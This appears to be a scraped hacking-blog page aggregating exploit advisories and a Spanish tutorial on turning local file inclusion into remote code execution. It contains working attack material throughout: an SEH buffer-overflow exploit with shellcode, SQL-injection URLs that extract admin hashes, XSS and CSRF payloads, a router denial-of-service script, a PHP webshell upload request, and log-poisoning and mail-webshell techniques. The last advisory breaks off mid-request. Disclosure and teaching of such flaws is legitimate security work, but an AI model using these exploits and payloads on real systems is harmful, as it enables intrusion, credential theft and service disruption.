Document Title:
===============
Crystal Player 1.99 - Memory Corruption Vulnerability
Date:
=============
21/01/2015
Vendor Homepage:
================
http://www.crystalreality.com/
Abstract Advisory Information:
==============================
Memory Corruption Vulnerability on Crystal Player 1.99.
Affected Product(s):
====================
Crystal Player 1.99
Exploitation Technique:
=======================
Local
Severity Level:
===============
Medium
Technical Details & Description:
================================
A Memory Corruption Vulnerability is detected on Crystal Player 1.99. An attacker can crash the software by using .mls file.
Attackers can crash the software local by user inter action over mls (playlist).
--- DEBUG LOG ---
///registers
EAX 00000000
ECX 0006FE24
EDX 0006FE24
EBX 0013014C
ESP 0006F300
EBP 00060041
ESI 00FF4A00
EDI 00000001
EIP 0040F933 Crystal.0040F933
C 0 ES 0023 32bit 0(FFFFFFFF)
P 1 CS 001B 32bit 0(FFFFFFFF)
A 1 SS 0023 32bit 0(FFFFFFFF)
Z 0 DS 0023 32bit 0(FFFFFFFF)
S 1 FS 003B 32bit 7FFDE000(FFF)
T 0 GS 0000 NULL
D 0
O 0 LastErr ERROR_NOT_ENOUGH_MEMORY (00000008)
EFL 00010296 (NO,NB,NE,A,S,PE,L,LE)
ST0 empty
ST1 empty
ST2 empty
ST3 empty
ST4 empty
ST5 empty
ST6 empty
ST7 empty
3 2 1 0 E S P U O Z D I
FST 0000 Cond 0 0 0 0 Err 0 0 0 0 0 0 0 0 (GT)
FCW 027F Prec NEAR,53 Mask 1 1 1 1 1 1
--- ERROR LOG ---
Crystal+0xf933:
0040f933 8b5510 mov edx,dword ptr [ebp+10h] ss:0023:00060051=????????
00060051 doesnt exist in the program aka not allowed .. so memcopy fails...
EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 0040f933 (Crystal+0xf933)
Access violation when reading [00060051]
Proof of Concept (PoC):
=======================
This vulnerabilities can be exploited by local attackers with userinteraction ...
#!/usr/bin/python
buffer = "A"*30000
filename = "Crash"+".mls"
file = open(filename, 'w')
file.write(buffer)
file.close()
print "[] Successfully MLS Created []"
How to perform:
=======================
1) Open Immunity Debugger and attach Crystal Player 1.99
2) Run it, Now move .mls file that we generated by our python script to the player
3) Once again you have to move the same file in Crystal Player 1.99 for adding second playlist.
When you perform above steps so application will crash. Analyze it on Immunity.
Solution - Fix & Patch:
=======================
Restrict working maximum size & set a own exception-handling for over-sized requests.
Security Risk:
==============
The security risk of the vulnerability is estimated as medium because of the local crash method.
Authors:
==================
Kapil Soni (Haxinos)
.png.c9b8f3e9eda461da3c0e9ca5ff8c6888.png)
-
Entries
16114 -
Comments
7952 -
Views
863130442
About this blog
Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.
Entries in this blog
source: https://www.securityfocus.com/bid/48342/info
Taha Portal is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.
An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
Taha Portal 3.2 is vulnerable; other versions may also be affected.
http://www.example.com/index.asp?id=3&serword=%3Cscript%3Ealert%28%22sss%22%29;%3C/script%3E
source: https://www.securityfocus.com/bid/48341/info
Immophp is prone to a cross-site scripting vulnerability and multiple SQL-injection vulnerabilities because the application fails to sufficiently sanitize user-supplied input.
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
Immophp 1.1.1 is vulnerable; other versions may also be affected.
SQL-injection:
http://www.example.com/index.php?page=-2%20uniuon%20select%201,2,3,version(),5--
http://www.example.com/annonce_detail.php?annonce=-2%20union%20all%20select%20group_concat(table_name)%20from%20information_schema.tables%20where%
Cross-site scripting:
http://www.example.com/annonce.php?secteur= %3cscript%3ealert%3c'31337'%3e%3b%3c%2fscript%3e
Un Local File Inclusion (LFI) es una vulnerabilidad web que permite la lectura de archivos locales. Esta vulnerabilidad ocurre cuando un servidor web usa la ruta del archivo como input. Además, puede derivar en una ejecución remota de comandos si se cumplen ciertos requisitos.
Índice:
- LFI Básico
- Directory Path Traversal
- Null Byte
- Path Truncation
- LFI a RCE
- Log Poisoning
- Mail PHP Execution
- /proc/self/environ
- /proc/self/fd ó /dev/fd/
- PHP Sessions
- Conclusión LFI a RCE
- Referencias
LFI Básico
Como se ha dicho al principio, el LFI ocurre cuando mediante un campo de entrada se está llamando a la ruta de un archivo local. Típicamente, esta situación la veremos en variables de PHP, pero no hay que limitar la vulnerabilidad a esto porque sería erróneo.
Para que quede más claro la idea, vamos a verlo con un ejemplo. Tenemos el siguiente código en PHP:

Es un código sencillo donde se espera un valor a través de una petición GET en la variable «file«. Posteriormente, se comprueba si la variable «file» tiene algún contenido, y, en el caso de que si, se incluye el archivo que tenga como nombre, el valor de la variable.
Para alojar el archivo, nos montamos un servidor web:

De esta forma, cuando se acceda a «http://localhost» cargará el archivo:

Recordemos que cuando accedemos a un recurso web sin especificar archivo. Por defecto se intenta cargar el index.html o el index.php, por eso no se especifica archivo arriba, no hace falta.
En este caso no vemos nada, porque sencillamente no le hemos especificado nada en la variable «file» que existe en el código PHP. Ahora bien, si definimos la variable y le pasamos como valor por ejemplo, el archivo /etc/hosts:

Conseguimos verlo, estamos consiguiendo una inclusión de archivos locales (LFI). Para un formato más legible podemos verlo desde el código fuente (Ctrl + U):

Con esto, ya podríamos enumerar archivos sensibles del sistema (ej: archivos de configuración) y obtener información del mismo.
Por ejemplo, algo típico de hacer sobre todo en CTFs es ver los usuarios del sistema en el /etc/passwd y comprobar si tienen alguna id_rsa en el directorio /home/<usuario>/.ssh/id_rsa
Este es el tipo de LFI más básico, ya que en el código PHP no estamos haciendo ningún tipo de sanitización del input. Existen ciertas protecciones para que no sea tan sencillo lograr el Local File Inclusion, sin embargo, así mismo, existen diversas técnicas y bypasses para que consigamos el LFI.
Directory Path Traversal
Vamos a cambiar el código PHP al siguiente:

Ahora, cuando se intente incluir un archivo, el propio código PHP le añadirá la ruta de /var/www/html con el propósito de que solo se puedan incluir archivos que estén dentro de esta ruta.
Al contrario que antes, ahora tenemos una protección que parece impedirnos el cargar archivos que estén fuera del directorio que especifica el código, sin embargo, esta protección se puede bypasear de forma muy sencilla usando un Directory Path Traversal.
Un Directory Path Traversal es una técnica que permite que nos escapemos de la ruta a la que se nos está intentando obligar que permanezcamos. Esta técnica se lleva a cabo a través del uso de dot-dot-slash, dicho de otra forma, de ../.
Por ejemplo, vamos a intentar cargar el archivo /etc/hosts de la misma forma que hemos hecho antes:

Esta vez no carga porque se está intentando incluir el archivo /var/www/html/etc/hosts, el cual no existe. Sin embargo, si intentamos de hacer uso del Directory Path Traversal, ocurrirá lo siguiente:

Podemos leerlo, y esto ocurre porque se está intentando cargar el archivo:
- /var/www/html/../../../../../../../../../../../../etc/hosts
El cual si existe. Un detalle de esto, es que no necesitamos saber cuantos directorios exactamente necesitamos ir hacia atrás para llegar a la raíz. Porque, podemos ir hacia atrás ilimitadamente, ya que, cuando lleguemos a la raíz, simplemente se quedará ahí por mucho que sigamos intentando ir hacia atrás. Este comportamiento ocurre igual en Linux:


Con este último ejemplo, si en el código PHP en vez de /var/www/html/, fuese /var/www/html (sin el slash al final). El payload de arriba:
- ../../../../../../../../../../../../etc/hosts
No funcionaría porque quedaría tal que:
- /var/www/html../../../../../../../../../../../../etc/hosts
Por lo que al payload simplemente habría que añadirle un slash al principio para que quedase tal que:
- /../../../../../../../../../../../../etc/hosts
Y en conjunto:
- /var/www/html/../../../../../../../../../../../../etc/hosts
Es un mini cambio, pero puede determinar que nos funcione o no.
Aparte de esto, que ocurre si en el código PHP añadimos una sanitización para que elimine la cadena ../ del valor que entre por la variable «file«. El código PHP sería el siguiente:

Si intentamos lo mismo que antes:

No funcionará, ya que nos está cambiando nuestro input de:
- /var/www/html/../../../../../../../../../../../../etc/hosts
A:
- /var/www/html/etc/hosts
Y sabemos que ese archivo no existe. ¿Qué podemos hacer entonces?
Pues lo que podemos hacer es intentar que en vez de que intente acceder al archivo:
- /var/www/html/../../../../../../../../../../../../etc/hosts
Intente acceder a:
- /var/www/html/….//….//….//….//….//….//….//….//….//….//….//….//etc/hosts
Ya que cuando haga la sanitización y quite los valores que coincidan con ../
, se nos quedará la ruta:
- /var/www/html/../../../../../../../../../../../../etc/hosts
Y podremos acceder de nuevo:

También sería lo mismo si en vez de ….// fuese …/./. Sabiendo esto, uno ya se puede atrever incluso a mezclar ambos payloads
De esta forma, vemos que a pesar de las distintas sanitizaciones, conseguimos leer el archivo. También se podría llegar a colocar los símbolos usando URL Encode, doble URL Encode.
Al final de todo, es ir preguntándonos ¿Y si pongo esto, y si lo hago de esta forma? Es cuestión de echar creatividad.
Null Byte
El Null Byte es una técnica que funcionaba hasta la versión 5.3.4 de PHP (lo arreglaron en esta versión). Esta técnica permitía que no se tuviera en cuenta cualquier cosa que en el código PHP se añadiese después de la variable PHP que nosotros establecemos.
En un código PHP se nos puede añadir un string al final con el propósito de que a la hora de incluir archivos, solo se incluyan archivos que acaben en el string que se indique, por ejemplo:

En este caso, se añade la cadena .php para que solo se puedan leer archivos que acaben en esta extensión. Si intentásemos acceder al /etc/hosts, se nos convertiría en /etc/hosts.php, por lo tanto, ya no podríamos leerlo.
Pues usar un Null Byte hacía que se bypaseara este impedimento. La idea básicamente era colocar al final de nuestro input, un %00
.
Esto ocasionaba que se ignorase todo lo que se añadiese después. Por lo que nosotros pasaríamos a la variable file un input como:
- /var/www/html/….//….//….//….//….//….//….//….//….//….//….//….//etc/hosts%00
Para qué además de bypasear todas las protecciones anteriormente vistas, se ignorase por completo lo que se añadiese después de la variable gracias al Null Byte.
Esta técnica al fin y al cabo ya se solucionó, por lo que es poco probable que nos la encontremos.
Path Truncation
Path Truncation es otra técnica para conseguir el mismo propósito que Null Byte, ignorar toda cadena que se sitúe después de la variable.
Esta técnica también se parcheó en su momento. En concreto se corrigió en la versión 5.3 de PHP. Aun así, no está de mal conocerla. Path Truncation se basa en que nos aprovechamos del límite de 4096 bytes que tiene PHP para un string.
Conociendo este límite, si en el código PHP se nos añade una extensión después del archivo. ¿Qué ocurre si nosotros mandamos como valor en la variable una cadena mayor a 4096 bytes?
PHP tendrá que cortar la cadena e ignorar lo que se sitúe después de estos bytes, por lo que la idea sería:
- /etc/hosts[+4096 bytes]
De esta forma, cuando PHP «corte» la cadena, ignorará los bytes sobrantes que hayamos añadido además de la extensión que el mismo código añade posteriormente.
Eso si, hace falta una serie de requisitos para que funcione:
- El dato que nosotros le pasamos a la variable, debe empezar con un string o letra random
- El archivo/ruta que nosotros indiquemos tiene que tener un número de caracteres impar. Para ello, nos aprovechamos de la condición de arriba.
- El byte 4096 debe de ser un punto, esto también se consigue con la primera condición
Teniendo en cuenta estas tres condiciones, el payload debe de ser algo como:
- a/../etc/hosts/./././. hasta sobrepasar 4096 bytes.
Podemos probar la vulnerabilidad en el siguiente reto de Root Me.
Esto funciona porque:
- /etc/hosts es equivalente a /etc/hosts/. (etc)
Ejemplo:

En este caso no estoy añadiendo ninguna extensión en el código, simplemente muestro como el colocar un /.
es indiferente a no colocarlo en el sentido de que se nos seguirá cargando el archivo. Eso si, el carácter «random» inicial es obligatorio, ya que, si no, no funcionará:

Porque establece que el número de caracteres de la ruta sea par o impar, y, con ello, que el byte 4096 sea un slash (/)
o un punto (.)
. En este caso, sería lo mismo colocar una a
que colocar 3, 5, etc, mientras que siempre sea un número impar.
Pd: podemos generar los 4096 bytes con el siguiente comando:

LFI a RCE
Hay muchas formas de convertir un LFI en un RCE (Remote Command Execution):
Log Poisoning
El más típico es el Log Poisoning. Como podemos leer archivos mediante el LFI, ¿qué ocurre si leemos un archivo con código PHP?
Básicamente, se interpretará. Ahora bien, si nosotros podemos controlar el contenido del código PHP podremos ejecutar lo que queramos. Eso si, ¿cómo escribimos el código que queramos en un archivo del sistema? Pues aquí es donde entran como protagonista los logs.
Cuando por ejemplo, intentamos hacer login en SSH, los intentos de inicio de sesión se almacenan en este caso en el archivo /var/log/auth.log:

Por lo que, ¿qué ocurre si intento iniciar sesión con un usuario de nombre <?php system(«whoami»); ?> ?:

También se escribe en el archivo. Si yo leyese ahora este archivo mediante un LFI, debería de ejecutarse el código PHP:

Efectivamente, en el mismo sitio donde está escrito el comando, a la hora de verlo desde el navegador, se ha interpretado y nos ha ejecutado el comando «whoami«.
La idea del log poisoning es básicamente esta. Hay ciertos archivos que nosotros estando desde fuera de la máquina, podemos controlar su contenido. Y si tenemos un LFI y podemos controlar el contenido de un archivo legible, pues tenemos RCE.
El log de SSH (/var/log/auth.log) no es el único, otros archivos típicos que nos pueden servir son:
- Log de apache –> /var/log/apache2/access.log
- Log de vsftpd –> /var/log/vsftpd. log
- Cualquier otro archivo o log donde podamos controlar el contenido desde fuera.
Nota: a veces, si vemos muy difícil insertar un comando por la cantidad de símbolos o comillas que puede llegar a tener, no olvidemos que podemos encodearlo en base64 y ejecutar: base64 | base64 -d | bash
Quizás de esta forma podemos llegar a tener menos problemas a la hora de insertar un comando en un log.
Otra cosa importante a destacar es que tenemos que tener mucho cuidado a la hora de insertar el código PHP en el log. Ya que si nos equivocamos, el log no nos cargará y entonces tendremos que eliminar el código PHP erróneo para que podamos volver a leer el archivo (es aquí cuando se dice que «hemos arruinado el registro»). Y claro, si nos ha sucedido en una máquina remota, pues F.
Mail PHP Execution
Otra posible forma de conseguir RCE es a través de un email. Los emails recibidos por un usuario se almacenan en la ruta:
- /var/mail/<usuario>
Por lo que, si la máquina tiene el puerto 25 abierto (SMTP). Podemos enviar por ejemplo vía telnet, un correo que contenga código PHP al usuario que queramos y posteriormente leer el correo mediante el LFI para que se interprete el código mandado en el correo.
Podemos enviar un correo con telnet de la siguiente forma:
telnet X.X.X.X 25
HELO localhost
MAIL FROM:<root> #Sin los simbolos de < o >
RCPT TO:<www-data> #Sin los simbolos de < o >
DATA
<?php
echo shell_exec($_REQUEST['cmd']); # Webshell
?>
Para señalar que hemos terminado de escribir el email, presionamos dos veces enter, escribimos un . y de nuevo enter
Con el correo enviado, si por ejemplo, lo hemos enviado al usuario www-data, deberíamos de encontrar el correo en el archivo:
- /var/mail/www-data
Suponiendo que haya llegado, como hemos enviado una webshell, mediante el LFI podríamos ejecutar comandos de la siguiente forma (ejemplo):
- /index.php?file=/var/mail/www-data&cmd=<comando>
Recordemos que si estamos concatenando variables en php, la primera siempre es con una interrogación (?), sin embargo, todas las siguientes se concatenan con un ampersand (&)
Otros archivos a comprobar si el de arriba no existe son:
- /var/log/mail.log
- /var/log/maillog
- /var/adm/maillog
- /var/adm/syslog/mail.log
/proc/self/environ
El archivo /proc/self/environ contiene múltiples variables de entorno, entre ellas, una que nos puede interesar es HTTP_USER_AGENT (en el caso de que esté). El valor de esta variable de entorno dependerá del User-Agent por el cual nosotros estemos accediendo al servidor web. Por lo que si este archivo es legible, podemos conseguir RCE simplemente cambiando nuestro User-Agent al código PHP que queramos.
En exploit-db hay un PoC que explica bastante bien esto –> shell via LFI – proc/self/environ method
/proc/self/fd ó /dev/fd/
Dentro de los directorios ya sea /proc/self/fd/ o /dev/fd/ podemos encontrar ciertos archivos con la siguiente estructura:
- /proc/self/fd/x
- /dev/fd/x
Siendo x un número.
Estos archivos están directamente relacionados con algunos procesos y registros del sistema. Por lo que quizás, uno de estos archivos puede que nos muestre información del servidor web al que estamos accediendo, y, con ello, algún campo que sea editable por nosotros.
Este post explica bastante bien esto, además, en un caso real de Bug Bounty.
PHP Sessions
Este otro método es bastante curioso y que podemos ver con un ejemplo en el siguiente enlace. Cuando el servidor nos proporciona una cookie de sesión PHPSESSID, esta, se almacena en el sistema, normalmente en una ruta como:
- /var/lib/php/sessions/
U otra parecida. Y con nombre: sess_<PHPSESSID>
La ruta de almacenamiento de las cookies de sesión la determina la variable de entorno session.save_path, la cual por defecto está vacía
Por lo que la ruta completa sería:
- /var/lib/php/sessions/sess_<PHPSESSID>
Si somos capaces de acceder y leer el archivo de la sesión mediante el LFI. Podemos encontrarnos campos que quizás podemos manipular y cambiar su valor a un código PHP.
Conclusión LFI a RCE
Hemos visto muchas posibles técnicas arribas, pero realmente, al final, el objetivo con cada una de ellas es llegar a leer un código PHP mediante el LFI que tenemos. Por lo que, aunque conocer las técnicas mencionadas nos puede venir super bien. Es nuestra misión analizar el caso concreto en el que nos encontramos y ver en que archivo podemos llegar a controlar su contenido para, mediante el LFI, leerlo y obtener RCE.
OJO, no cometamos el fallo mencionado al principio de limitar el LFI a PHP, lo importante es quedarnos con el concepto de la vulnerabilidad. Ya que por ejemplo, en un IIS, podemos hacer lo mismo, pero en vez de con archivos PHP, con ASPX o ASP.
Referencias
- EXPLOITING PHP PATH TRUNCATION [PHP < 5.3]
- Local File Inclusion (LFI)
- How can I use this path bypass/exploit Local File Inclusion?
- RCE via LFI Log Poisoning – The Death Potion
- #BugBounty — “Journey from LFI to RCE!!!”-How I was able to get the same in one of the India’s popular property buy/sell company.
source: https://www.securityfocus.com/bid/48339/info
Nibbleblog is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in an SQL query.
A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.
Nibbleblog 3.0 is affected; other versions may also be vulnerable.
http://www.example.com/index.php?page=[SQLi]
http://www.example.com/post.php?idpost=[SQLi]
source: https://www.securityfocus.com/bid/48328/info
Sunway ForceControl is prone to multiple heap-based buffer-overflow vulnerabilities because the application fails to perform adequate boundary checks on user-supplied data.
Attackers can exploit these issues to execute arbitrary code on the affected device. Failed exploit attempts will result in a denial-of-service condition.
def send(packet)
begin
sock = TCPSocket.new(@ip, @port)
sock.write(packet)
rescue Exception => e
return false
else
resp = sock.recv(1024)
sock.close
return true
end
end
@ip = ARGV[0]
@port = 80
# windows/exec CMD=calc.exe
shellcode = "\xb8\xd5\x45\x06\xc4\xda\xde\xd9\x74\x24\xf4\x5b\x33\xc9" +
"\xb1\x33\x31\x43\x12\x03\x43\x12\x83\x3e\xb9\xe4\x31\x3c" +
"\xaa\x60\xb9\xbc\x2b\x13\x33\x59\x1a\x01\x27\x2a\x0f\x95" +
"\x23\x7e\xbc\x5e\x61\x6a\x37\x12\xae\x9d\xf0\x99\x88\x90" +
"\x01\x2c\x15\x7e\xc1\x2e\xe9\x7c\x16\x91\xd0\x4f\x6b\xd0" +
"\x15\xad\x84\x80\xce\xba\x37\x35\x7a\xfe\x8b\x34\xac\x75" +
"\xb3\x4e\xc9\x49\x40\xe5\xd0\x99\xf9\x72\x9a\x01\x71\xdc" +
"\x3b\x30\x56\x3e\x07\x7b\xd3\xf5\xf3\x7a\x35\xc4\xfc\x4d" +
"\x79\x8b\xc2\x62\x74\xd5\x03\x44\x67\xa0\x7f\xb7\x1a\xb3" +
"\xbb\xca\xc0\x36\x5e\x6c\x82\xe1\xba\x8d\x47\x77\x48\x81" +
"\x2c\xf3\x16\x85\xb3\xd0\x2c\xb1\x38\xd7\xe2\x30\x7a\xfc" +
"\x26\x19\xd8\x9d\x7f\xc7\x8f\xa2\x60\xaf\x70\x07\xea\x5d" +
"\x64\x31\xb1\x0b\x7b\xb3\xcf\x72\x7b\xcb\xcf\xd4\x14\xfa" +
"\x44\xbb\x63\x03\x8f\xf8\x9c\x49\x92\xa8\x34\x14\x46\xe9" +
"\x58\xa7\xbc\x2d\x65\x24\x35\xcd\x92\x34\x3c\xc8\xdf\xf2" +
"\xac\xa0\x70\x97\xd2\x17\x70\xb2\xb0\xf6\xe2\x5e\x19\x9d" +
"\x82\xc5\x65"
payload = "H" * 1599
payload << "\xeb\x06\x90\x90" # Pointer to Next SE Handler
payload << [0x719737FA].pack("V*") # SEH Handler - p/p/r
payload << "\x90" * 40
payload << shellcode
payload << "\x90" * (4058 - shellcode.length)
pack = "GET /#{payload} HTTP/1.1\r\n"
pack << "Host: http://#{@ip}:#{@port}\r\n\r\n"
puts "packet sended." if send(pack)
source: https://www.securityfocus.com/bid/48317/info
myBloggie is prone to a SQL-injection vulnerabilities and an HTML-injection vulnerability because it fails to sufficiently sanitize user-supplied input.
An attacker may leverage these issues to compromise the application, access or modify data, exploit latent vulnerabilities in the underlying database, or execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials, control how the site is viewed, and launch other attacks.
myBloggie 2.1.6 is vulnerable; other versions may also be affected.
<?php
//trackback.php - Line 33 - 35
$url=urldecode($_REQUEST['url']);
if (validate_url($url)==false) { $tback->trackback_reply(1, "<p>Sorry, Trackback failed.. Reason : URL not valid</p>"); }
?>
<?php
//trackback.php - Line 750
function validate_url($url) {
if ( ! preg_match('#^http\\:\\/\\/[a-z0-9\-]+\.([a-z0-9\-]+\.)?[a-z]+#i', $url, $matches) ) {
return false;
} else {
return true;
}
}
?>
source: https://www.securityfocus.com/bid/48281/info
miniblog is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
An attacker can exploit these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
miniblog 1.0.0 is vulnerable; other versions may also be affected.
http://www.example.com/adm/list.php?post_list=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://www.example.com/adm/login.php?error_text=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://www.example.com/adm/options.php?response_text=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://www.example.com/adm/password.php?response_text=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://www.example.com/adm/edit.php?response_text=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://www.example.com/adm/edit.php?mode=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
<form action="http://www.example.com/adm/admin.php?mode=add&id=" method="post">
<input type="hidden" name="data[post_title]" value="csrf">
<input type="hidden" name="data[post_content]" value="csrf">
<input type="hidden" name="data[published]" value="1">
<input type="hidden" name="miniblog_PostBack" value="Add">
<input type="submit" id="btn">
</form>
<script>
document.getElementById('btn').click();
</script>
source: https://www.securityfocus.com/bid/48280/info
vBTube is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.
vBTube 1.2.9 is vulnerable; other versions may also be affected.
http://www.example.com/cy/vBTube.php?page=1&do=user&uname="><script>alert(1);</script>
http://www.example.com/forum/vBTube.php?do=view&vidid=%22%3E%3Cscript%3Ealert%281%29;%3C/script%3E
# Exploit Title: vBulletin vBSSO Single Sign-On – <= 1.4.14 – SQL Injection
# Date: January 20, 2015
# Exploit Author: Technidev (https://technidev.com)
# Vendor Homepage: https://vbulletin.com
# Software Link: http://www.vbulletin.org/forum/showthread.php?t=270517
# Version: <= 1.4.14, patched in >= 1.4.15
This plugin is vulnerable to SQL injection at the /vbsso/avatar.php file
in the fetchUserinfo function.
It requires a big UNION ALL SELECT query and commenting out the LIMIT
function of SQL. If SQL injection is a success, the browser will
redirect the user to a URL where the URL contains the extracted information.
To exploit this, you need to execute a rather large UNION ALL SELECT
query like this:
http://example.com/vbsso/vbsso.php?a=act&do=avatar&id=' or user.userid =
1 UNION ALL SELECT userfield.*, usertextfield.*, user.*,
usergroup.genericpermissions, UNIX_TIMESTAMP(passworddate) AS
passworddate, IF(displaygroupid=0, user.usergroupid, displaygroupid) AS
displaygroupid, concat(user.password, 0x3a, user.salt) AS avatarpath,
NOT ISNULL(customavatar.userid) AS hascustomavatar,
customavatar.dateline AS avatardateline, customavatar.width AS avwidth,
customavatar.height AS avheight, customavatar.height_thumb AS
avheight_thumb, customavatar.width_thumb AS avwidth_thumb,
customavatar.filedata_thumb FROM user AS user LEFT JOIN userfield AS
userfield ON (user.userid = userfield.userid) LEFT JOIN usergroup AS
usergroup ON (usergroup.usergroupid = user.usergroupid) LEFT JOIN
usertextfield AS usertextfield ON (usertextfield.userid = user.userid)
LEFT JOIN avatar AS avatar ON (avatar.avatarid = user.avatarid) LEFT
JOIN customavatar AS customavatar ON (customavatar.userid = user.userid)
WHERE user.userid = 1 ORDER BY avatarpath DESC%23
For example, by visiting this URL on a vulnerable forum, you will be
redirected to
http://example.com/9d0d647f535a4c1f493eabf3d69ca89a:nO^sh9;TVNxGJ”X’+3cYkq9Z4Cd3WS
which obviously contains the hash and salt of userid 1.
from httplib2 import Http
from urllib import urlencode
import sys,time
#main function
if __name__ == "__main__":
if(len(sys.argv) != 2):
print '*********************************************************************************'
print ' GPON Zhone R4.0.2.566b D.O.S.'
print ' Tested on'
print ' GPON Zhone 2520'
print ' Hardware: 0040-48-02'
print ' Software: R4.0.2.566b'
print ' '
print ' Usage : python', sys.argv[0] + ' <ip>'
print ' Ex : python',sys.argv[0] + ' 192.168.15.1'
print ' Author : Kaczinski lramirez@websec.mx '
print ' URL : http://www.websec.mx/advisories'
print '*********************************************************************************'
sys.exit()
HOST = sys.argv[1]
LIMIT = 100000
COUNT = 1
SIZE = 10
BUFFER = ''
while len(BUFFER) < LIMIT:
BUFFER = '\x41' * COUNT
print "[+] Sending evil buffer with length:", len(BUFFER)
h = Http()
h.follow_redirects = True
data = dict(XWebPageName=buffer, oldpassword=BUFFER, password="", password2="test", passwdtip="test")
try:
resp, content = h.request("http://" + HOST + "/GponForm/LoginForm", "POST", urlencode(data))
except:
print "[+] GPON should be down, is not responding..."
sys.exit()
COUNT = COUNT * SIZE
print "[-] GPON not vulnerable"
# Exploit Title: Arbitrary File Upload in articleFR CMS 3.0.5
# Google Dork: N/A
# Date: 01/21/2015
# Exploit Author: Tran Dinh Tien (tien.d.tran@itas.vn) & ITAS Team (www.itas.vn)
# Vendor Homepage: http://freereprintables.com
# Software Link: https://github.com/articlefr/articleFR
# Version: version 3.0.5
# Tested on: Linux
# CVE : N/A
::PROOF OF CONCEPT::
- REQUEST:
POST /articlefr/dashboard/videouploader.php HTTP/1.1
Host: target.org
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Referer: http://target.org/articlefr/dashboard/videos/fileupload/
Content-Length: 414
Content-Type: multipart/form-data; boundary=---------------------------277651700022570
Cookie: GEAR=local-5422433b500446ead50002d4; PHPSESSID=uc86lsmbm53d73d572tvvec3v4; _ga=GA1.2.884814947.1419214773; __unam=bd22dea-14a6fcadd31-42cba495-9; _gat=1
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
-----------------------------277651700022570
Content-Disposition: form-data; name="myVideo"; filename="img.php"
Content-Type: image/gif
<?php
phpinfo();
?>
-----------------------------277651700022570
Content-Disposition: form-data; name=""
undefined
-----------------------------277651700022570
Content-Disposition: form-data; name=""
undefined
-----------------------------277651700022570--
- RESPONSE:
HTTP/1.1 200 OK
Date: Mon, 22 Dec 2014 03:10:30 GMT
Server: Apache/2.2.15 (Red Hat)
Content-Type: text/html
Vary: Accept-Encoding
Accept-Ranges: none
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Length: 36
[String_Random].php
- Shell link: http://target.org/articlefr2/dashboard/videos/[String_Random].php
- Vulnerable file: articlefr/dashboard/videouploader.php
- Vulnerable code:
<?php
$output_dir = dirname(dirname(__FILE__)) . "/videos_repository/";
if(isset($_FILES["myVideo"]))
{
$ret = array();
$error =$_FILES["myVideo"]["error"];
if(!is_array($_FILES["myVideo"]["name"]))
{
$fileName = $_FILES["myVideo"]["name"];
$extension = pathinfo($fileName, PATHINFO_EXTENSION);
$newFileName = md5(uniqid() . $fileName) . '.' . $extension;
move_uploaded_file($_FILES["myVideo"]["tmp_name"], $output_dir.$newFileName);
$ret[]= $newFileName;
}
echo $newFileName;
}
?>
::REFERENCE::
- http://www.itas.vn/news/itas-team-phat-hien-lo-hong-arbitrarily-file-upload-trong-articlefr-cms-71.html
::DISCLAIMER::
THE INFORMATION PRESENTED HEREIN ARE PROVIDED ?AS IS? WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED TO, ANY IMPLIED WARRANTIES AND MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE OR WARRANTIES OF QUALITY OR COMPLETENESS. THE INFORMATION PRESENTED HERE IS A SERVICE TO THE SECURITY COMMUNITY AND THE PRODUCT VENDORS. ANY APPLICATION OR DISTRIBUTION OF THIS INFORMATION CONSTITUTES ACCEPTANCE ACCEPTANCE AS IS, AND AT THE USER'S OWN RISK.
# Exploit Title: SQL injection vulnerability in articleFR CMS 3.0.5
# Google Dork: N/A
# Date: 01/21/2015
# Exploit Author: Tran Dinh Tien (tien.d.tran@itas.vn) & ITAS Team (www.itas.vn)
# Vendor Homepage: http://freereprintables.com
# Software Link: https://github.com/articlefr/articleFR
# Version: version 3.0.5
# Tested on: Linux
# CVE : N/A
::PROOF OF CONCEPT::
- REQUEST:
POST /articlefr/register/ HTTP/1.1
Host: target.org
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://target.org/articlefr/register/
Cookie: _ga=GA1.2.884814947.1419214773; __unam=bd22dea-14a6fcadd31-42cba495-31; GEAR=local-5422433b500446ead50002d4; PHPSESSID=8a9r8t1d5g9veogj6er9fvev63; _gat=1
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 103
